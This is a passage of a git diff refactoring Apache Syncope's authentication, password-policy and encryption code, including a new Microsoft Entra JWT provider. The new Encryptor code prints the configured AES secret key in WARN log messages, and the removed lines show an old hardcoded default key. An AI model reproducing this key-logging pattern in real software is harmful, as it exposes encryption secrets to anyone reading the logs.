ImplementationManager.buildPasswordRule( + impl, + () -> perContextPasswordRules.get(impl.getKey()), + instance -> perContextPasswordRules.put(impl.getKey(), instance)). + ifPresent(result::add); + } catch (Exception e) { + LOG.warn("While building {}", impl, e); + } + } + + return result; + } +} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java index a843b0cce5d..b5c62d1c9c8 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java @@ -18,22 +18,18 @@ */ package org.apache.syncope.core.spring.policy; -import java.io.UnsupportedEncodingException; import java.net.URI; -import java.security.InvalidKeyException; -import java.security.NoSuchAlgorithmException; +import java.security.GeneralSecurityException; +import java.util.Optional; import java.util.stream.Stream; -import javax.crypto.BadPaddingException; -import javax.crypto.IllegalBlockSizeException; -import javax.crypto.NoSuchPaddingException; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.policy.HaveIBeenPwnedPasswordRuleConf; import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.types.CipherAlgorithm; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRuleConfClass; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRuleConfClass; import org.apache.syncope.core.spring.security.Encryptor; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -50,8 +46,6 @@ public class HaveIBeenPwnedPasswordRule implements PasswordRule { protected static final Logger LOG = LoggerFactory.getLogger(HaveIBeenPwnedPasswordRule.class); - private static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - private HaveIBeenPwnedPasswordRuleConf conf; @Override @@ -69,9 +63,9 @@ public void setConf(final PasswordRuleConf conf) { } } - protected void enforce(final String clear) { + protected void enforce(final String clearPassword) { try { - String sha1 = ENCRYPTOR.encode(clear, CipherAlgorithm.SHA1); + String sha1 = Encryptor.getInstance().encode(clearPassword, CipherAlgorithm.SHA1); HttpHeaders headers = new HttpHeaders(); headers.set(HttpHeaders.USER_AGENT, "Apache Syncope"); @@ -87,38 +81,39 @@ protected void enforce(final String clear) { throw new PasswordPolicyException("Password pwned"); } } - } catch (UnsupportedEncodingException | InvalidKeyException | NoSuchAlgorithmException - | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) { - + } catch (GeneralSecurityException e) { LOG.error("Could not encode the password value as SHA1", e); } catch (HttpStatusCodeException e) { LOG.error("Error while contacting the PwnedPasswords service", e); } } + @Override + public void enforce(final String username, final String clearPassword) { + Optional.ofNullable(clearPassword).ifPresent(this::enforce); + } + @Transactional(readOnly = true) @Override - public void enforce(final User user) { - if (user.getPassword() != null && user.getClearPassword() != null) { - enforce(user.getClearPassword()); - } + public void enforce(final User user, final String clearPassword) { + Optional.ofNullable(clearPassword).ifPresent(this::enforce); } @Transactional(readOnly = true) @Override public void enforce(final LinkedAccount account) { if (account.getPassword() != null) { - String clear = null; + String clearPassword = null; if (account.canDecodeSecrets()) { try { - clear = ENCRYPTOR.decode(account.getPassword(), account.getCipherAlgorithm()); + clearPassword = Encryptor.getInstance().decode(account.getPassword(), account.getCipherAlgorithm()); } catch (Exception e) { LOG.error("Could not decode password for {}", account, e); } } - if (clear != null) { - enforce(clear); + if (clearPassword != null) { + enforce(clearPassword); } } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthContextUtils.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthContextUtils.java index 421e521c485..539066e0a24 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthContextUtils.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthContextUtils.java @@ -42,7 +42,7 @@ public final class AuthContextUtils { private static final Logger LOG = LoggerFactory.getLogger(AuthContextUtils.class); - private static final String FAKE_PASSWORD = "FAKE_PASSWORD"; + private static final String PLACEHOLDER_PWD = "PLACEHOLDER_PWD"; private static final String UNAUTHENTICATED = "unauthenticated"; @@ -55,7 +55,7 @@ public static void updateUsername(final String newUsername) { Authentication auth = SecurityContextHolder.getContext().getAuthentication(); UsernamePasswordAuthenticationToken newAuth = new UsernamePasswordAuthenticationToken( - new User(newUsername, FAKE_PASSWORD, auth.getAuthorities()), + new User(newUsername, PLACEHOLDER_PWD, auth.getAuthorities()), auth.getCredentials(), auth.getAuthorities()); newAuth.setDetails(auth.getDetails()); SecurityContextHolder.getContext().setAuthentication(newAuth); @@ -135,11 +135,11 @@ public static T callAs( List authorities = entitlements.stream(). map(entitlement -> new SyncopeGrantedAuthority(entitlement, SyncopeConstants.ROOT_REALM)). collect(Collectors.toList()); - UsernamePasswordAuthenticationToken fakeAuth = new UsernamePasswordAuthenticationToken( - new User(username, FAKE_PASSWORD, authorities), FAKE_PASSWORD, authorities); - fakeAuth.setDetails(new SyncopeAuthenticationDetails(domain, getDelegatedBy().orElse(null))); + UsernamePasswordAuthenticationToken asAuth = new UsernamePasswordAuthenticationToken( + new User(username, PLACEHOLDER_PWD, authorities), PLACEHOLDER_PWD, authorities); + asAuth.setDetails(new SyncopeAuthenticationDetails(domain, getDelegatedBy().orElse(null))); - return call(fakeAuth, callable); + return call(asAuth, callable); } public static T callAsAdmin(final String domain, final Callable callable) { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthDataAccessor.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthDataAccessor.java index 1ff38fbe5aa..d53ffa1f71a 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthDataAccessor.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/AuthDataAccessor.java @@ -40,7 +40,6 @@ import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.EntitlementsHolder; import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.DelegationDAO; @@ -61,11 +60,9 @@ import org.apache.syncope.core.provisioning.api.ConnectorManager; import org.apache.syncope.core.provisioning.api.MappingManager; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; -import org.apache.syncope.core.spring.ApplicationContextProvider; import org.identityconnectors.framework.common.objects.Uid; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.support.AbstractBeanDefinition; import org.springframework.security.authentication.AuthenticationCredentialsNotFoundException; import org.springframework.security.authentication.DisabledException; import org.springframework.security.core.Authentication; @@ -76,7 +73,7 @@ /** * Domain-sensible (via {@code @Transactional}) access to authentication / authorization data. * - * @see JWTAuthenticationProvider + * @see JWTAuthenticationFilter * @see UsernamePasswordAuthenticationProvider * @see SyncopeAuthenticationDetails */ @@ -86,8 +83,6 @@ public class AuthDataAccessor { public static final String GROUP_OWNER_ROLE = "GROUP_OWNER"; - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected static final Set ANONYMOUS_AUTHORITIES = Set.of(new SyncopeGrantedAuthority(IdRepoEntitlement.ANONYMOUS)); @@ -118,9 +113,7 @@ public class AuthDataAccessor { protected final MappingManager mappingManager; - protected final ImplementationLookup implementationLookup; - - private Map jwtSSOProviders; + private final List jwtSSOProviders; public AuthDataAccessor( final SecurityProperties securityProperties, @@ -135,7 +128,7 @@ public AuthDataAccessor( final ConnectorManager connectorManager, final AuditManager auditManager, final MappingManager mappingManager, - final ImplementationLookup implementationLookup) { + final List jwtSSOProviders) { this.securityProperties = securityProperties; this.realmDAO = realmDAO; @@ -149,31 +142,17 @@ public AuthDataAccessor( this.connectorManager = connectorManager; this.auditManager = auditManager; this.mappingManager = mappingManager; - this.implementationLookup = implementationLookup; + this.jwtSSOProviders = jwtSSOProviders; } public JWTSSOProvider getJWTSSOProvider(final String issuer) { - synchronized (this) { - if (jwtSSOProviders == null) { - jwtSSOProviders = new HashMap<>(); - - implementationLookup.getJWTSSOProviderClasses().stream(). - map(clazz -> (JWTSSOProvider) ApplicationContextProvider.getBeanFactory(). - createBean(clazz, AbstractBeanDefinition.AUTOWIRE_BY_TYPE, true)). - forEach(jwtSSOProvider -> jwtSSOProviders.put(jwtSSOProvider.getIssuer(), jwtSSOProvider)); - } - } - if (issuer == null) { throw new AuthenticationCredentialsNotFoundException("A null issuer is not permitted"); } - JWTSSOProvider provider = jwtSSOProviders.get(issuer); - if (provider == null) { - throw new AuthenticationCredentialsNotFoundException( - "Could not find any registered JWTSSOProvider for issuer " + issuer); - } - return provider; + return jwtSSOProviders.stream().filter(provider -> issuer.equals(provider.getIssuer())).findFirst(). + orElseThrow(() -> new AuthenticationCredentialsNotFoundException( + "Could not find any registered JWTSSOProvider for issuer " + issuer)); } protected String getDelegationKey(final SyncopeAuthenticationDetails details, final String delegatedKey) { @@ -274,7 +253,7 @@ public Triple authenticate(final String domain, final Aut } protected boolean authenticate(final User user, final String password) { - boolean authenticated = ENCRYPTOR.verify(password, user.getCipherAlgorithm(), user.getPassword()); + boolean authenticated = Encryptor.getInstance().verify(password, user.getCipherAlgorithm(), user.getPassword()); LOG.debug("{} authenticated on internal storage: {}", user.getUsername(), authenticated); for (Iterator itor = getPassthroughResources(user).iterator(); diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/DefaultPasswordGenerator.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/DefaultPasswordGenerator.java index 9cc98cc5bbc..64f202d153b 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/DefaultPasswordGenerator.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/DefaultPasswordGenerator.java @@ -21,13 +21,15 @@ import java.util.ArrayList; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.concurrent.ConcurrentHashMap; import java.util.stream.Collectors; import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.apache.syncope.core.spring.policy.DefaultPasswordRule; import org.passay.CharacterRule; @@ -56,12 +58,16 @@ public class DefaultPasswordGenerator implements PasswordGenerator { @Transactional(readOnly = true) @Override - public String generate(final ExternalResource resource) { + public String generate(final ExternalResource resource, final List realms) { List policies = new ArrayList<>(); - if (resource.getPasswordPolicy() != null) { - policies.add(resource.getPasswordPolicy()); - } + // add resource policy + Optional.ofNullable(resource.getPasswordPolicy()).ifPresent(policies::add); + + // add realm policies + realms.forEach(r -> Optional.ofNullable(r.getPasswordPolicy()). + filter(p -> !policies.contains(p)). + ifPresent(policies::add)); return generate(policies); } @@ -174,6 +180,8 @@ protected String generate(final DefaultPasswordRuleConf ruleConf) { new CharacterRule(EnglishCharacterData.Alphabetical, halfMinLength), new CharacterRule(EnglishCharacterData.Digit, halfMinLength)); } - return SecureRandomUtils.passwordGenerator().generatePassword(ruleConf.getMinLength(), characterRules); + int min = Math.max(ruleConf.getMinLength(), + characterRules.stream().mapToInt(CharacterRule::getNumberOfCharacters).sum()); + return SecureRandomUtils.passwordGenerator().generatePassword(min, characterRules); } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/Encryptor.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/Encryptor.java index 52db5fbf8f1..8c411c265ba 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/Encryptor.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/Encryptor.java @@ -18,19 +18,18 @@ */ package org.apache.syncope.core.spring.security; -import java.io.UnsupportedEncodingException; import java.nio.charset.StandardCharsets; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.util.Base64; import java.util.Map; +import java.util.Optional; import java.util.concurrent.ConcurrentHashMap; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; -import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.types.CipherAlgorithm; import org.apache.syncope.core.spring.ApplicationContextProvider; @@ -46,53 +45,85 @@ public final class Encryptor { private static final Map INSTANCES = new ConcurrentHashMap<>(); - private static final String DEFAULT_SECRET_KEY = "1abcdefghilmnopqrstuvz2!"; - public static Encryptor getInstance() { return getInstance(null); } - public static Encryptor getInstance(final String secretKey) { - String actualKey = StringUtils.isBlank(secretKey) ? DEFAULT_SECRET_KEY : secretKey; - - Encryptor instance = INSTANCES.get(actualKey); - if (instance == null) { - instance = new Encryptor(actualKey); - INSTANCES.put(actualKey, instance); - } - - return instance; + public static Encryptor getInstance(final String aesSecretKey) { + SecurityProperties securityProperties = Optional.ofNullable(ApplicationContextProvider.getApplicationContext()). + flatMap(ctx -> { + try { + return Optional.ofNullable(ctx.getBean(SecurityProperties.class)); + } catch (Exception e) { + return Optional.empty(); + } + }). + orElseGet(() -> { + SecurityProperties props = new SecurityProperties(); + props.setAesSecretKey(StringUtils.EMPTY); + return props; + }); + + String actualKey = StringUtils.isBlank(aesSecretKey) ? securityProperties.getAesSecretKey() : aesSecretKey; + return INSTANCES.computeIfAbsent(actualKey, k -> new Encryptor(k, securityProperties.getDigester())); } + private final SecurityProperties.DigesterProperties digesterProperties; + private final Map digesters = new ConcurrentHashMap<>(); - private SecretKeySpec keySpec; + private final Optional aesKeySpec; - private Encryptor(final String secretKey) { - String actualKey = secretKey; - if (actualKey.length() < 16) { - StringBuilder actualKeyPadding = new StringBuilder(actualKey); - int length = 16 - actualKey.length(); - String randomChars = SecureRandomUtils.generateRandomPassword(length); + private Encryptor( + final String aesSecretKey, + final SecurityProperties.DigesterProperties digesterProperties) { - actualKeyPadding.append(randomChars); - actualKey = actualKeyPadding.toString(); - LOG.warn("The secret key is too short (< 16), adding some random characters. " - + "Passwords encrypted with AES and this key will not be recoverable " - + "as a result if the container is restarted."); - } + this.digesterProperties = digesterProperties; - try { - keySpec = new SecretKeySpec(ArrayUtils.subarray( - actualKey.getBytes(StandardCharsets.UTF_8), 0, 16), - CipherAlgorithm.AES.getAlgorithm()); - } catch (Exception e) { - LOG.error("Error during key specification", e); + SecretKeySpec sks = null; + + if (StringUtils.isNotBlank(aesSecretKey)) { + String actualKey = aesSecretKey; + + Integer pad = null; + boolean truncate = false; + if (actualKey.length() < 16) { + pad = 16 - actualKey.length(); + } else if (actualKey.length() > 16 && actualKey.length() < 24) { + pad = 24 - actualKey.length(); + } else if (actualKey.length() > 24 && actualKey.length() < 32) { + pad = 32 - actualKey.length(); + } else if (actualKey.length() > 32) { + truncate = true; + } + + if (pad != null) { + StringBuilder actualKeyPadding = new StringBuilder(actualKey); + String randomChars = SecureRandomUtils.generateRandomPassword(pad); + + actualKeyPadding.append(randomChars); + actualKey = actualKeyPadding.toString(); + LOG.warn("The configured AES secret key is too short (< {}), padding with random chars: {}", + actualKey.length(), actualKey); + } + if (truncate) { + actualKey = actualKey.substring(0, 32); + LOG.warn("The configured AES secret key is too long (> 32), truncating: {}", actualKey); + } + + try { + sks = new SecretKeySpec(actualKey.getBytes(StandardCharsets.UTF_8), CipherAlgorithm.AES.getAlgorithm()); + LOG.debug("AES-{} successfully configured", actualKey.length() * 8); + } catch (Exception e) { + LOG.error("Error during key specification", e); + } } + + aesKeySpec = Optional.ofNullable(sks); } public String encode(final String value, final CipherAlgorithm cipherAlgorithm) - throws UnsupportedEncodingException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, + throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { String encoded = null; @@ -100,7 +131,8 @@ public String encode(final String value, final CipherAlgorithm cipherAlgorithm) if (value != null) { if (cipherAlgorithm == null || cipherAlgorithm == CipherAlgorithm.AES) { Cipher cipher = Cipher.getInstance(CipherAlgorithm.AES.getAlgorithm()); - cipher.init(Cipher.ENCRYPT_MODE, keySpec); + cipher.init(Cipher.ENCRYPT_MODE, aesKeySpec. + orElseThrow(() -> new IllegalArgumentException("AES not configured"))); encoded = Base64.getEncoder().encodeToString(cipher.doFinal(value.getBytes(StandardCharsets.UTF_8))); } else if (cipherAlgorithm == CipherAlgorithm.BCRYPT) { @@ -134,14 +166,15 @@ public boolean verify(final String value, final CipherAlgorithm cipherAlgorithm, } public String decode(final String encoded, final CipherAlgorithm cipherAlgorithm) - throws UnsupportedEncodingException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, + throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { String decoded = null; if (encoded != null && cipherAlgorithm == CipherAlgorithm.AES) { Cipher cipher = Cipher.getInstance(CipherAlgorithm.AES.getAlgorithm()); - cipher.init(Cipher.DECRYPT_MODE, keySpec); + cipher.init(Cipher.DECRYPT_MODE, aesKeySpec. + orElseThrow(() -> new IllegalArgumentException("AES not configured"))); decoded = new String(cipher.doFinal(Base64.getDecoder().decode(encoded)), StandardCharsets.UTF_8); } @@ -150,24 +183,19 @@ public String decode(final String encoded, final CipherAlgorithm cipherAlgorithm } private StandardStringDigester getDigester(final CipherAlgorithm cipherAlgorithm) { - StandardStringDigester digester = digesters.get(cipherAlgorithm); - if (digester == null) { - digester = new StandardStringDigester(); + return digesters.computeIfAbsent(cipherAlgorithm, k -> { + StandardStringDigester digester = new StandardStringDigester(); if (cipherAlgorithm.getAlgorithm().startsWith("S-")) { - SecurityProperties securityProperties = - ApplicationContextProvider.getApplicationContext().getBean(SecurityProperties.class); - // Salted ... digester.setAlgorithm(cipherAlgorithm.getAlgorithm().replaceFirst("S\\-", "")); - digester.setIterations(securityProperties.getDigester().getSaltIterations()); - digester.setSaltSizeBytes(securityProperties.getDigester().getSaltSizeBytes()); + digester.setIterations(digesterProperties.getSaltIterations()); + digester.setSaltSizeBytes(digesterProperties.getSaltSizeBytes()); digester.setInvertPositionOfPlainSaltInEncryptionResults( - securityProperties.getDigester().isInvertPositionOfPlainSaltInEncryptionResults()); + digesterProperties.isInvertPositionOfPlainSaltInEncryptionResults()); digester.setInvertPositionOfSaltInMessageBeforeDigesting( - securityProperties.getDigester().isInvertPositionOfSaltInMessageBeforeDigesting()); - digester.setUseLenientSaltSizeCheck( - securityProperties.getDigester().isUseLenientSaltSizeCheck()); + digesterProperties.isInvertPositionOfSaltInMessageBeforeDigesting()); + digester.setUseLenientSaltSizeCheck(digesterProperties.isUseLenientSaltSizeCheck()); } else { // Not salted ... digester.setAlgorithm(cipherAlgorithm.getAlgorithm()); @@ -176,10 +204,7 @@ private StandardStringDigester getDigester(final CipherAlgorithm cipherAlgorithm } digester.setStringOutputType(CommonUtils.STRING_OUTPUT_TYPE_HEXADECIMAL); - - digesters.put(cipherAlgorithm, digester); - } - - return digester; + return digester; + }); } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationFilter.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationFilter.java index 9a6eef9883e..0a1231f4f65 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationFilter.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationFilter.java @@ -19,21 +19,24 @@ package org.apache.syncope.core.spring.security; import com.nimbusds.jose.JOSEException; +import com.nimbusds.jwt.JWTClaimsSet; import com.nimbusds.jwt.SignedJWT; import java.io.IOException; import java.text.ParseException; +import java.util.Date; import java.util.Optional; import java.util.Set; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.ws.rs.core.HttpHeaders; import org.apache.commons.lang3.tuple.Pair; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.authentication.BadCredentialsException; +import org.springframework.security.authentication.CredentialsExpiredException; import org.springframework.security.core.AuthenticationException; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.web.AuthenticationEntryPoint; @@ -89,14 +92,35 @@ protected void doFilterInternal( try { credentialChecker.checkIsDefaultJWSKeyInUse(); + // 0. parse JWT SignedJWT jwt = SignedJWT.parse(stringToken); + + // 1. check signature JWTSSOProvider jwtSSOProvider = dataAccessor.getJWTSSOProvider(jwt.getJWTClaimsSet().getIssuer()); if (!jwt.verify(jwtSSOProvider)) { throw new BadCredentialsException("Invalid signature found in JWT"); } + JWTClaimsSet claims = jwt.getJWTClaimsSet(); + long referenceTime = System.currentTimeMillis(); + + // 2. check expiration + Date expirationTime = claims.getExpirationTime(); + if (expirationTime != null && expirationTime.getTime() < referenceTime) { + dataAccessor.removeExpired(claims.getJWTID()); + throw new CredentialsExpiredException("JWT is expired"); + } + + // 3. check not before + Date notBefore = claims.getNotBeforeTime(); + if (notBefore != null && notBefore.getTime() > referenceTime) { + throw new CredentialsExpiredException("JWT not valid yet"); + } + + // 4. generate and set the authentication object JWTAuthentication jwtAuthentication = - new JWTAuthentication(jwt.getJWTClaimsSet(), authenticationDetailsSource.buildDetails(request)); + new JWTAuthentication(claims, authenticationDetailsSource.buildDetails(request)); + jwtAuthentication.setAuthenticated(true); AuthContextUtils.callAsAdmin(jwtAuthentication.getDetails().getDomain(), () -> { Pair> authenticated = dataAccessor.authenticate(jwtAuthentication); jwtAuthentication.setUsername(authenticated.getLeft()); diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationProvider.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationProvider.java deleted file mode 100644 index 797ca25acbf..00000000000 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/JWTAuthenticationProvider.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.spring.security; - -import com.nimbusds.jwt.JWTClaimsSet; -import java.util.Date; -import org.springframework.security.authentication.AuthenticationProvider; -import org.springframework.security.authentication.CredentialsExpiredException; -import org.springframework.security.core.Authentication; -import org.springframework.security.core.AuthenticationException; - -/** - * Attempts to authenticate the passed {@link JWTAuthentication} object, returning a fully populated - * {@link Authentication} object (including granted authorities) if successful. - */ -public class JWTAuthenticationProvider implements AuthenticationProvider { - - protected final AuthDataAccessor dataAccessor; - - public JWTAuthenticationProvider(final AuthDataAccessor dataAccessor) { - this.dataAccessor = dataAccessor; - } - - @Override - public Authentication authenticate(final Authentication authentication) throws AuthenticationException { - JWTAuthentication jwtAuthentication = (JWTAuthentication) authentication; - - JWTClaimsSet claims = jwtAuthentication.getClaims(); - long referenceTime = System.currentTimeMillis(); - - Date expirationTime = claims.getExpirationTime(); - if (expirationTime != null && expirationTime.getTime() < referenceTime) { - dataAccessor.removeExpired(claims.getJWTID()); - throw new CredentialsExpiredException("JWT is expired"); - } - - Date notBefore = claims.getNotBeforeTime(); - if (notBefore != null && notBefore.getTime() > referenceTime) { - throw new CredentialsExpiredException("JWT not valid yet"); - } - - jwtAuthentication.setAuthenticated(true); - return jwtAuthentication; - } - - @Override - public boolean supports(final Class authentication) { - return JWTAuthentication.class.isAssignableFrom(authentication); - } -} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProvider.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProvider.java new file mode 100644 index 00000000000..79accec85cb --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProvider.java @@ -0,0 +1,134 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.security; + +import com.nimbusds.jose.JOSEException; +import com.nimbusds.jose.JWSAlgorithm; +import com.nimbusds.jose.JWSHeader; +import com.nimbusds.jose.jca.JCAContext; +import com.nimbusds.jose.util.Base64URL; +import com.nimbusds.jwt.JWTClaimsSet; +import java.time.Duration; +import java.time.Instant; +import java.time.OffsetDateTime; +import java.time.ZoneOffset; +import java.util.Set; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.spring.security.jws.MSEntraAccessTokenJWSVerifier; +import org.springframework.transaction.annotation.Transactional; + +/** + * JWT authorisation for access tokens issued by Microsoft Entra (formerly Azure) + * for Microsoft Entra-only applications (v1.0 tokens) + * cf. https://learn.microsoft.com/en-us/entra/identity-platform/access-tokens + */ +public class MSEntraJWTSSOProvider implements JWTSSOProvider { + + protected final UserDAO userDAO; + + protected final AuthDataAccessor authDataAccessor; + + protected final String tenantId; + + protected final String appId; + + protected final String authUsername; + + protected final Duration clockSkew; + + protected final MSEntraAccessTokenJWSVerifier verifier; + + public MSEntraJWTSSOProvider( + final UserDAO userDAO, + final AuthDataAccessor authDataAccessor, + final String tenantId, + final String appId, + final String authUsername, + final Duration clockSkew, + final MSEntraAccessTokenJWSVerifier verifier) { + + this.userDAO = userDAO; + this.authDataAccessor = authDataAccessor; + this.tenantId = tenantId; + this.appId = appId; + this.authUsername = authUsername; + this.clockSkew = clockSkew; + this.verifier = verifier; + } + + @Override + public String getIssuer() { + return String.format("https://sts.windows.net/%s/", tenantId); + } + + @Override + public Set supportedJWSAlgorithms() { + return verifier.supportedJWSAlgorithms(); + } + + @Override + public JCAContext getJCAContext() { + return verifier.getJCAContext(); + } + + /* + * When parsing the token, you must [...] ensure the token meets these requirements: + * + * - The token was sent in the HTTP Authorization header with "Bearer" scheme. + * - The token is valid JSON that conforms to the JWT standard. + * - The token contains an "issuer" claim with one of the highlighted values for non-governmental cases. + * - The token contains an "audience" claim with a value equal to the Microsoft App ID. + * - The token is within its validity period. Industry-standard clock-skew is 5 minutes. + * - The token has a valid cryptographic signature with a key listed in the OpenID keys document that was retrieved + * from the `jwks_uri` property in the OpenID metadata document via GET request. + * + * cf. https://learn.microsoft.com/en-us/entra/identity-platform/security-tokens#validate-security-tokens + */ + @Override + public boolean verify(final JWSHeader header, final byte[] signingInput, final Base64URL signature) + throws JOSEException { + + return verifier.verify(header, signingInput, signature); + } + + @Transactional(readOnly = true) + @Override + public Pair> resolve(final JWTClaimsSet jwtClaims) { + User authUser = userDAO.findByUsername(authUsername); + Set authorities = Set.of(); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = jwtClaims.getIssueTime().toInstant(); + Instant notBefore = jwtClaims.getNotBeforeTime().toInstant(); + Instant expired = jwtClaims.getExpirationTime().toInstant(); + + if (authUser != null + && jwtClaims.getAudience().contains(appId) + && now.isAfter(issued.minus(clockSkew)) + && now.isAfter(notBefore.minus(clockSkew)) + && now.isBefore(expired.plus(clockSkew))) { + + authorities = authDataAccessor.getAuthorities(authUser.getUsername(), null); + } + + return Pair.of(authUser, authorities); + } +} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/PasswordGenerator.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/PasswordGenerator.java index f271036f486..758ea159f49 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/PasswordGenerator.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/PasswordGenerator.java @@ -20,11 +20,12 @@ import java.util.List; import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; public interface PasswordGenerator { - String generate(ExternalResource resource); + String generate(ExternalResource resource, List realms); String generate(List policies); } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecureRandomUtils.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecureRandomUtils.java index d27e37240a2..0b38f5c8326 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecureRandomUtils.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecureRandomUtils.java @@ -19,7 +19,7 @@ package org.apache.syncope.core.spring.security; import com.fasterxml.uuid.Generators; -import com.fasterxml.uuid.impl.RandomBasedGenerator; +import 